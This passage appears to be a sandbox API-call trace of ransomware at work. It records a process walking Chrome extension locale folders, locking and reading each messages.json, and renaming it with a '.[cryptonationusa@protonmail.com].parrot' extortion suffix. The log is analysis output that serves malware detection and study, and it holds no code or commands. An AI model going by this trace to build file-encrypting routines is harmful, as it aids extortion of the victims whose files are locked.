(in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.607] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb95b4780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb95b4780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.608] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb95b4780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.608] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.609] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.609] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.609] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.609] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.609] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.609] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x25c, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.609] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.609] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.610] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.610] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x144, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x144, lpOverlapped=0x0) returned 1 [0073.611] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.611] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x25c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.611] CloseHandle (hObject=0x28c) returned 1 [0073.611] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.614] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.614] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb95b4780, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb95b4780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.615] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb95b4780, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.615] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.615] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.615] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.615] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.615] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.615] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.616] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x202, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.616] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.616] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.617] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.617] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xea, lpOverlapped=0x0) returned 1 [0073.618] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.618] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x202, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.618] CloseHandle (hObject=0x28c) returned 1 [0073.618] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.621] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.621] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb95da8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb95da8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.622] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a21490, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb95da8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.622] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.622] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.622] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.623] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.623] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.623] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.623] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x248, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.623] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.623] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.624] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.624] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x130, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x130, lpOverlapped=0x0) returned 1 [0073.625] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.625] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x248, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.625] CloseHandle (hObject=0x28c) returned 1 [0073.625] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.629] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.629] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb95da8e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb95da8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.630] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb95da8e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.630] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.630] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.630] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.631] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.631] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.631] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.631] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x200, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.631] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.631] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.632] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.632] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe8, lpOverlapped=0x0) returned 1 [0073.633] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.633] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x200, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.633] CloseHandle (hObject=0x28c) returned 1 [0073.633] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.636] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.636] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9600a40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9600a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.637] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9600a40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.637] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.638] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.638] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.638] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.638] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.638] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.638] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21a, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.638] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.638] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.639] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.639] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x102, lpOverlapped=0x0) returned 1 [0073.640] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 